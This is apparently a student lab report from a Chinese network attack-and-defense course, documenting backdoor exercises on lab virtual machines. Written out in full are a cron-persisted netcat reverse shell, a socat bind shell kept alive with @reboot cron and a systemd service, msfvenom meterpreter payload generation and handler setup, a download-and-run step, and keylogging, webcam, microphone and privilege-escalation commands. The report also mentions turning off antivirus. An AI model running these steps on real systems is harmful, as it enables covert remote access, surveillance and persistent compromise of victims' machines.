当前位置: 首页 > news >正文

20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1.1netcat和cron协同进行后门入侵的意义

netcat在目标主机上监听端口等待连接,并创建网络连接,提供远程shell访问,但是这种连接是单次的、临时的,具有诸多局限性,此时cron就有存在的意义了,在cron任务列表中可以设置持续性任务,每分钟甚至每秒都可以重复运行任务,使得后门具有了“持久性”。

2.实验过程

2.1

2.1.1环境准备

image
在eth0网络接口的信息中,有一行:inet 192.168.19.129/24,这里的192.168.19.129就是Kali系统的IPv4地址。
屏幕截图 2025-10-22 094538
后门攻击需要两台电脑在同一网段,因此选用和Kali在同一网段的IP地址:192.168.19.1作为实验ip。

2.1.2在windows上准备netcat

屏幕截图 2025-10-22 095827

2.1.3创建后门脚本

nano /tmp/backdoor.sh
在编辑器输入:
bash
#!/bin/bash
/bin/nc 192.168.19.1 4444 -e /bin/bash
其中,#!/bin/bash是指定脚本解释器,告诉系统这个脚本使用/bin/bash来执行
/bin/nc 192.168.19.1 4444 -e /bin/bash是找到连接目标并执行程序。
给脚本执行权限:
chmod +x /tmp/backdoor.sh

2.1.4设置cron定时任务

crontab -e
利用这句命令,编辑当前用户的cron任务表,在文件末尾插入:
* * * * * /tmp/backdoor.sh
这句话的实际含义是,每分钟建立一个shell,其中,设置每分钟的意义是即使后门被杀死,也可以不久再建立一个shell。
crontab -l
image
可以看到,终端列出了当前用户的cron任务,再任务列表的末尾,是我们插入的* * * * * /tmp/backdoor.sh

2.1.5在windows上设置监听

屏幕截图 2025-10-22 103210
可以看到,Kali成功连接到Windows的4444端口,而连接来自端口56890。
我们在Windows的powershell中获得了Kali用户的shell权限,可以执行任意Linux命令。

2.2使用socat获取主机操作Shell,并通过任务计划启动。

2.2.1创建后门脚本

在openEuler上创建后门脚本:
sudo nano /usr/local/bin/backdoor.sh
脚本内容:
#!/bin/bash
while true; do
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sane
sleep 5
done
这个脚本可以持久地建立后门,while true; do开启了一个无限循环,确保后门持续运行
给脚本执行权限:
sudo chmod +x /usr/local/bin/backdoor.sh

2.2.2使用cron设置开机自启动

屏幕截图 2025-10-22 200247
编辑crontab:sudo crontab -e
添加以下行:
@reboot /usr/local/bin/backdoor.sh
其中,@reboot是cron的特殊时间关键字,表示"在系统启动时"执行
询问AI,有一个更高级的方法是创建systemd系统服务:
创建service文件:sudo nano /etc/systemd/system/backdoor.service
服务文件内容:
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/backdoor.sh
Restart=always
RestartSec=5
User=root

[Install]
WantedBy=multi-user.target
启用服务:
sudo systemctl daemon-reload
sudo systemctl enable backdoor.service
sudo systemctl start backdoor.service

2.2.3测试后门连接

在Kali虚拟机中连接openEuler的后门:
socat - TCP:192.168.19.131:4444
image
连接成功,可以使用Linux系统命令,并获取靶机信息。
image
且由于后门程序设置开机自启动,靶机重启后仍能进行监听。

2.3使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell。

2.3.1在Kali上生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=4444 -f exe -o backdoor_final.exe
屏幕截图 2025-10-22 211148

2.3.2启动HTTP文件服务器

开启新终端,运行:
python3 -m http.server 8888
屏幕截图 2025-10-22 211156

2.3.3设置Metasploit监听器

再开启一个新终端:
msfconsole
在msfconsole中输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 4444
exploit
屏幕截图 2025-10-22 211435

2.3.4下载并运行后门

在windows powershell中:
Invoke-WebRequest -Uri "http://192.168.19.129:8888/backdoor_final.exe" -OutFile "test.exe"
.\test.exe
image

2.3.5检查连接

回到Kali的Metasploit窗口,你应该看到Meterpreter会话建立。然后执行:
sessions -i 1
shell
屏幕截图 2025-10-22 211529
可以看到,已成功获取windows系统shell的运行权限。

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权。

2.4.1在kali终端生成后门

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=6666 -f exe -o exp4.exe
image

2.4.2启动HTTP服务器

python3 -m http.server 9999
image

2.4.3设置Metasploit监听

msfconsole
在msfconsole中依次输入:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.19.129
set LPORT 6666
exploit

2.4.4在windows上下载并执行

cd $HOME
Invoke-WebRequest -Uri "http://192.168.19.129:9999/exp4.exe" -OutFile "run.exe"
.\run.exe
屏幕截图 2025-10-22 220212

2.4.5基础信息收集

当Metasploit显示会话建立后,在msfconsole中执行:
sysinfo
getuid
screenshot
屏幕截图 2025-10-22 220143

2.4.6键盘记录

keyscan_start
在windows上输入文字
屏幕截图 2025-10-22 220218
keyscan_dump
keyscan_stop
屏幕截图 2025-10-22 220154

2.4.7权限提升

getsystem
getuid

摄像头操作

webcam_list
webcam_snap -i 1

音频录制

record_mic -d 10

键盘记录

keyscan_start
keyscan_dump
keyscan_stop

其他系统信息

run post/windows/gather/checkvm
run post/multi/gather/env
屏幕截图 2025-10-22 220710
kali桌面上已保存相关信息
image

3.问题及解决方案

  • 问题1:在windows系统下安装netcat失败

2.3.3设置Metasploit监听器

msfconsole

  • 问题1解决方案:先考虑是防火墙拦截,检查并关闭了防火墙和实时检查,还是无法下载。询问AI,AI回答可以以管理员身份运行powershell,使用命令行Invoke-WebRequest -Uri "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip" -OutFile "C:\nc.zip" 直接下载。尝试了一下,成功了,得以顺利完成任务一
  • 问题2:在windows系统下安装socat失败
  • 问题2解决方案:windows系统装不上socat,很多同学都有这个问题,我无法正面解决这个问题,但是选择迂回了一下,新开了一台虚拟机,用别的系统(openEuler)进行任务二,得以顺利完成。
  • 问题3:使用MSF meterpreter进行获取shell时,在windows系统表明“表明文件被其他进程锁定了”
  • 问题3解决方案:排查多个方面,例如防火墙、权限不够等,最后在关闭防病毒软件后成功了。
    image

4.学习感悟、思考等

http://www.hskmm.com/?act=detail&tid=36944

相关文章:

  • NOIP2024
  • 20232415 2025-2026-1 《网络与系统攻防技术》 实验二实验报告
  • 结对项目:四则运算生成器
  • CSP-S2023
  • Spring Boot 中全面解决跨域请求
  • OpenTelemetry语义约定:规范可观测性数据,提升系统洞察力
  • 拓展欧几里得算法
  • 两两交换链表中的节点-leetcode
  • 算法第二章实践作业
  • 解决homebrew下载报错问题
  • 软考中级学习总结(5)
  • 软考中级学习总结(4)
  • 每日反思(2025_10_22)
  • docker: Error response from daemon: failed to set up container networking 解决办法
  • 实验2 现代C++编程初体验
  • CSP-S36
  • 新学期每日总结(第13天)
  • GCM(Galois/Counter Mode) 认证加密算法实现
  • 【学习笔记】slope-trick
  • 10.13-10.19学习做题笔记
  • 2025.10.22
  • yny计数题记录
  • 20232404 2025-2026-2 《网络与系统攻防技术》实验二实验报告
  • 1020302118兰逸霏的第一次作业
  • ubuntu 25.10 修改源 - ldx
  • pytorch学习笔记(1)
  • 20232318 2025-2026-1 《网络与系统攻防技术》实验二实验报告
  • 《中华人民共和国网络安全法》第二十一条这一核心考点
  • 嵌入式软件分层架构设计 - lucky
  • DP 基础题乱做